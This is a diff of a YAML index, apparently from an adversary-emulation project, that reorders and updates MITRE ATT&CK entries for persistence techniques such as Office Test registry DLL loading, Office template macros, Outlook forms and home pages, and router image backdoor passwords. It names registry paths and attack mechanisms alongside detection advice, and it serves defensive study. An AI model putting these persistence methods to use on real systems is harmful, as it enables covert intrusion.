+        description: Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved
+          February 13, 2017.
+        url: https://github.com/outflankbv/NetshHelperBeacon
+      - source_name: Demaske Netsh Persistence
+        description: Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL
+          DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.
+        url: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html
       identifier: T1546.007
     atomic_tests:
     - name: Netsh Helper DLL Registration
@@ -47588,32 +49101,25 @@ persistence:
         name: command_prompt
   T1556.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1556.004
-        url: https://attack.mitre.org/techniques/T1556/004
-      - source_name: FireEye - Synful Knock
-        url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
-        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
-          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
-          IOS Image File Verification. Retrieved October 19, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
-          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      name: Network Device Authentication
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      x_mitre_version: '2.0'
+      modified: '2021-04-20T20:11:00.356Z'
+      created: '2020-10-19T17:58:04.155Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd
       description: |-
         Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.
 
         [Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.  The modification includes a specific password which is implanted in the operating system image via the patch.  Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock)
-      name: Network Device Authentication
-      id: attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
@@ -47621,36 +49127,47 @@ persistence:
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2021-04-20T20:11:00.356Z'
-      created: '2020-10-19T17:58:04.155Z'
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: |-
         Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)
 
         Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1556/004
+        external_id: T1556.004
+        source_name: mitre-attack
+      - url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
+        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
+          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
+        source_name: FireEye - Synful Knock
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
+          IOS Image File Verification. Retrieved October 19, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Image File Verification
+      - url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
+        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
+          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
+        source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
     atomic_tests: []
   T1037.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1037.003
-        url: https://attack.mitre.org/techniques/T1037/003
-      - source_name: Petri Logon Script AD
-        url: https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008
-        description: Daniel Petri. (2009, January 8). Setting up a Logon Script through
-          Active Directory Users and Computers in Windows Server 2008. Retrieved November
-          15, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Network Logon Script
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Active Directory: Active Directory Object Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-03-24T23:45:25.625Z'
+      created: '2020-01-10T18:01:03.666Z'
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99
       description: "Adversaries may use network logon scripts automatically executed
         at logon initialization to establish persistence. Network logon scripts can
         be assigned using Active Directory or Group Policy Objects.(Citation: Petri
@@ -47660,87 +49177,33 @@ persistence:
         \ \n \nAdversaries may use these scripts to maintain persistence on a network.
         Depending on the access configuration of the logon scripts, either local credentials
         or an administrator account may be necessary."
-      id: attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-24T23:45:25.625Z'
-      created: '2020-01-10T18:01:03.666Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
         or at abnormal times. Look for files added or modified by unusual accounts
         outside of normal administration duties. Monitor running process for actions
         that could be indicative of abnormal programs or executables running upon
         logon.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Active Directory: Active Directory Object Modification'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1037/003
+        external_id: T1037.003
+        source_name: mitre-attack
+      - url: https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008
+        description: Daniel Petri. (2009, January 8). Setting up a Logon Script through
+          Active Directory Users and Computers in Windows Server 2008. Retrieved November
+          15, 2019.
+        source_name: Petri Logon Script AD
     atomic_tests: []
   T1137:
     technique:
-      created: '2017-12-14T16:46:06.044Z'
-      modified: '2020-06-25T17:48:09.417Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      type: attack-pattern
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1137
-        url: https://attack.mitre.org/techniques/T1137
-      - source_name: SensePost Ruler GitHub
-        url: https://github.com/sensepost/ruler
-        description: 'SensePost. (2016, August 18). Ruler: A tool to abuse Exchange
-          services. Retrieved February 4, 2019.'
-      - source_name: TechNet O365 Outlook Rules
-        url: https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/
-        description: Koeller, B.. (2018, February 21). Defending Against Rules and
-          Forms Injection. Retrieved November 5, 2019.
-      - source_name: CrowdStrike Outlook Forms
-        url: https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746
-        description: Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral
-          Movement and Persistence. Retrieved February 5, 2019.
-      - source_name: Outlook Today Home Page
-        url: https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943
-        description: Soutcast. (2018, September 14). Outlook Today Homepage Persistence.
-          Retrieved February 5, 2019.
-      - source_name: Microsoft Detect Outlook Forms
-        url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
-        description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook
-          Rules and Custom Forms Injections Attacks in Office 365. Retrieved February
-          4, 2019.
-      - source_name: SensePost NotRuler
-        url: https://github.com/sensepost/notruler
-        description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler,
-          provides blue teams with the ability to detect Ruler usage against Exchange.
-          Retrieved February 4, 2019.
-      description: |-
-        Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.
-
-        A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)
+      type: attack-pattern
       name: Office Application Startup
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.2'
-      x_mitre_contributors:
-      - Nick Carr, FireEye
-      - Microsoft Threat Intelligence Center (MSTIC)
-      - Sahar Shukrun
-      - Praetorian
-      - Loic Jaquemet
-      - Ricardo Dias
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
@@ -47750,18 +49213,68 @@ persistence:
       - 'File: File Modification'
       - 'Module: Module Load'
       - 'Application Log: Application Log Content'
+      x_mitre_version: '1.3'
+      modified: '2021-10-15T20:18:31.112Z'
+      created: '2017-12-14T16:46:06.044Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53
+      x_mitre_platforms:
+      - Windows
+      - Office 365
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.
+
+        A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)
+      x_mitre_contributors:
+      - Nick Carr, Mandiant
+      - Microsoft Threat Intelligence Center (MSTIC)
+      - Sahar Shukrun
+      - Praetorian
+      - Loic Jaquemet
+      - Ricardo Dias
       x_mitre_detection: |-
         Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.
 
         Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)
 
         Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_platforms:
-      - Windows
-      - Office 365
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1137
+        external_id: T1137
+        source_name: mitre-attack
+      - url: https://github.com/sensepost/ruler
+        description: 'SensePost. (2016, August 18). Ruler: A tool to abuse Exchange
+          services. Retrieved February 4, 2019.'
+        source_name: SensePost Ruler GitHub
+      - url: https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/
+        description: Koeller, B.. (2018, February 21). Defending Against Rules and
+          Forms Injection. Retrieved November 5, 2019.
+        source_name: TechNet O365 Outlook Rules
+      - url: https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746
+        description: Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral
+          Movement and Persistence. Retrieved February 5, 2019.
+        source_name: CrowdStrike Outlook Forms
+      - url: https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943
+        description: Soutcast. (2018, September 14). Outlook Today Homepage Persistence.
+          Retrieved February 5, 2019.
+        source_name: Outlook Today Home Page
+      - url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
+        description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook
+          Rules and Custom Forms Injections Attacks in Office 365. Retrieved February
+          4, 2019.
+        source_name: Microsoft Detect Outlook Forms
+      - url: https://github.com/sensepost/notruler
+        description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler,
+          provides blue teams with the ability to detect Ruler usage against Exchange.
+          Retrieved February 4, 2019.
+        source_name: SensePost NotRuler
       identifier: T1137
     atomic_tests:
     - name: Office Application Startup - Outlook as a C2
@@ -47785,42 +49298,26 @@ persistence:
         name: command_prompt
   T1137.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1137.001
-        url: https://attack.mitre.org/techniques/T1137/001
-      - url: https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea
-        description: Microsoft. (n.d.). Change the Normal template (Normal.dotm).
-          Retrieved July 3, 2017.
-        source_name: Microsoft Change Normal Template
-      - url: https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office
-        description: Austin, J. (2017, June 6). Getting Started with VBA in Office.
-          Retrieved July 3, 2017.
-        source_name: MSDN VBA in Office
-      - url: https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/
-        description: Nelson, M. (2014, January 23). Maintaining Access with normal.dotm.
-          Retrieved July 3, 2017.
-        source_name: enigma0x3 normal.dotm
-      - url: http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/
-        description: Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62.
-          Retrieved July 3, 2017.
-        source_name: Hexacorn Office Template Macros
-      - source_name: GlobalDotName Jun 2019
-        url: https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique
-        description: Shukrun, S. (2019, June 2). Office Templates and GlobalDotName
-          - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.
-      - source_name: CrowdStrike Outlook Forms
-        url: https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746
-        description: Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral
-          Movement and Persistence. Retrieved February 5, 2019.
-      - source_name: Outlook Today Home Page
-        url: https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943
-        description: Soutcast. (2018, September 14). Outlook Today Homepage Persistence.
-          Retrieved February 5, 2019.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2021-08-16T21:27:10.873Z'
       name: Office Template Macros
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'File: File Creation'
+      - 'File: File Modification'
+      x_mitre_version: '1.1'
+      created: '2019-11-07T20:29:17.788Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      - Office 365
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21
       description: "Adversaries may abuse Microsoft Office templates to obtain persistence
         on a compromised system. Microsoft Office contains templates that are part
         of common Office applications and are used to customize styles. The base templates
@@ -47847,18 +49344,11 @@ persistence:
         GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute
         unrestricted depending on the system or enterprise security policy on use
         of macros."
-      id: attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21
-      type: attack-pattern
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2020-06-25T17:48:08.916Z'
-      created: '2019-11-07T20:29:17.788Z'
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_permissions_required:
-      - User
-      - Administrator
       x_mitre_detection: 'Many Office-related persistence mechanisms require changes
         to the Registry and for binaries, files, or scripts to be written to disk
         or existing files modified to include malicious scripts. Collect events related
@@ -47868,6 +49358,58 @@ persistence:
         also be investigated since the base templates should likely not contain VBA
         macros. Changes to the Office macro security settings should also be investigated.(Citation:
         GlobalDotName Jun 2019)'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1137/001
+        external_id: T1137.001
+        source_name: mitre-attack
+      - source_name: Microsoft Change Normal Template
+        description: Microsoft. (n.d.). Change the Normal template (Normal.dotm).
+          Retrieved July 3, 2017.
+        url: https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea
+      - source_name: MSDN VBA in Office
+        description: Austin, J. (2017, June 6). Getting Started with VBA in Office.
+          Retrieved July 3, 2017.
+        url: https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office
+      - source_name: enigma0x3 normal.dotm
+        description: Nelson, M. (2014, January 23). Maintaining Access with normal.dotm.
+          Retrieved July 3, 2017.
+        url: https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/
+      - source_name: Hexacorn Office Template Macros
+        description: Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62.
+          Retrieved July 3, 2017.
+        url: http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/
+      - url: https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique
+        description: Shukrun, S. (2019, June 2). Office Templates and GlobalDotName
+          - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.
+        source_name: GlobalDotName Jun 2019
+      - url: https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746
+        description: Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral
+          Movement and Persistence. Retrieved February 5, 2019.
+        source_name: CrowdStrike Outlook Forms
+      - url: https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943
+        description: Soutcast. (2018, September 14). Outlook Today Homepage Persistence.
+          Retrieved February 5, 2019.
+        source_name: Outlook Today Home Page
+    atomic_tests: []
+  T1137.002:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Office Test
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1137/002
+        external_id: T1137.002
+        source_name: mitre-attack
+      - source_name: Hexacorn Office Test
+        description: Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10.
+          Retrieved July 3, 2017.
+        url: http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/
+      - source_name: Palo Alto Office Test Sofacy
+        description: 'Falcone, R. (2016, July 20). Technical Walkthrough: Office Test
+          Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.'
+        url: https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
@@ -47875,28 +49417,19 @@ persistence:
       - 'Windows Registry: Windows Registry Key Modification'
       - 'File: File Creation'
       - 'File: File Modification'
+      - 'Module: Module Load'
+      x_mitre_version: '1.1'
+      modified: '2021-08-16T21:35:17.618Z'
+      x_mitre_system_requirements:
+      - Office 2007, 2010, 2013, and 2016
+      id: attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a
       x_mitre_platforms:
       - Windows
       - Office 365
-    atomic_tests: []
-  T1137.002:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1137.002
-        url: https://attack.mitre.org/techniques/T1137/002
-      - url: http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/
-        description: Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10.
-          Retrieved July 3, 2017.
-        source_name: Hexacorn Office Test
-      - url: https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/
-        description: 'Falcone, R. (2016, July 20). Technical Walkthrough: Office Test
-          Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.'
-        source_name: Palo Alto Office Test Sofacy
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Office Test
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       description: |-
         Adversaries may abuse the Microsoft Office "Office Test" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)
 
@@ -47906,35 +49439,15 @@ persistence:
         * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf</code>
 
         Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.
-      id: attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2020-03-20T15:27:51.559Z'
-      created: '2019-11-07T19:44:04.475Z'
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_system_requirements:
-      - Office 2007, 2010, 2013, and 2016
-      x_mitre_permissions_required:
-      - Administrator
-      - User
       x_mitre_detection: |-
         Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)
 
         Consider monitoring Office processes for anomalous DLL loads.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Module: Module Load'
-      x_mitre_platforms:
-      - Windows
-      - Office 365
+      created: '2019-11-07T19:44:04.475Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1137.002
     atomic_tests:
     - name: Office Application Startup Test Persistence
@@ -47961,107 +49474,107 @@ persistence:
         name: command_prompt
   T1137.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1137.003
-        url: https://attack.mitre.org/techniques/T1137/003
-      - source_name: SensePost Outlook Forms
-        url: https://sensepost.com/blog/2017/outlook-forms-and-shells/
-        description: Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved
-          February 4, 2019.
-      - source_name: Microsoft Detect Outlook Forms
-        url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
-        description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook
-          Rules and Custom Forms Injections Attacks in Office 365. Retrieved February
-          4, 2019.
-      - source_name: SensePost NotRuler
-        url: https://github.com/sensepost/notruler
-        description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler,
-          provides blue teams with the ability to detect Ruler usage against Exchange.
-          Retrieved February 4, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Outlook Forms
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.1'
+      modified: '2021-08-16T21:29:19.697Z'
+      created: '2019-11-07T20:06:02.624Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      x_mitre_platforms:
+      - Windows
+      - Office 365
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634
       description: |-
         Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)
 
         Once malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)
-      id: attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2020-03-26T17:35:15.823Z'
-      created: '2019-11-07T20:06:02.624Z'
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_permissions_required:
-      - Administrator
-      - User
       x_mitre_detection: |-
         Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)
 
         Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1137/003
+        external_id: T1137.003
+        source_name: mitre-attack
+      - url: https://sensepost.com/blog/2017/outlook-forms-and-shells/
+        description: Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved
+          February 4, 2019.
+        source_name: SensePost Outlook Forms
+      - url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
+        description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook
+          Rules and Custom Forms Injections Attacks in Office 365. Retrieved February
+          4, 2019.
+        source_name: Microsoft Detect Outlook Forms
+      - url: https://github.com/sensepost/notruler
+        description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler,
+          provides blue teams with the ability to detect Ruler usage against Exchange.
+          Retrieved February 4, 2019.
+        source_name: SensePost NotRuler
+    atomic_tests: []
+  T1137.004:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Outlook Home Page
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'Application Log: Application Log Content'
+      x_mitre_version: '1.1'
+      modified: '2021-08-16T21:30:01.743Z'
+      created: '2019-11-07T20:09:56.536Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       x_mitre_platforms:
       - Windows
       - Office 365
-    atomic_tests: []
-  T1137.004:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1137.004
-        url: https://attack.mitre.org/techniques/T1137/004
-      - source_name: SensePost Outlook Home Page
-        url: https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/
-        description: Stalmans, E. (2017, October 11). Outlook Home Page – Another
-          Ruler Vector. Retrieved February 4, 2019.
-      - source_name: Microsoft Detect Outlook Forms
-        url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
-        description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook
-          Rules and Custom Forms Injections Attacks in Office 365. Retrieved February
-          4, 2019.
-      - source_name: SensePost NotRuler
-        url: https://github.com/sensepost/notruler
-        description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler,
-          provides blue teams with the ability to detect Ruler usage against Exchange.
-          Retrieved February 4, 2019.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Outlook Home Page
+      x_mitre_is_subtechnique: true
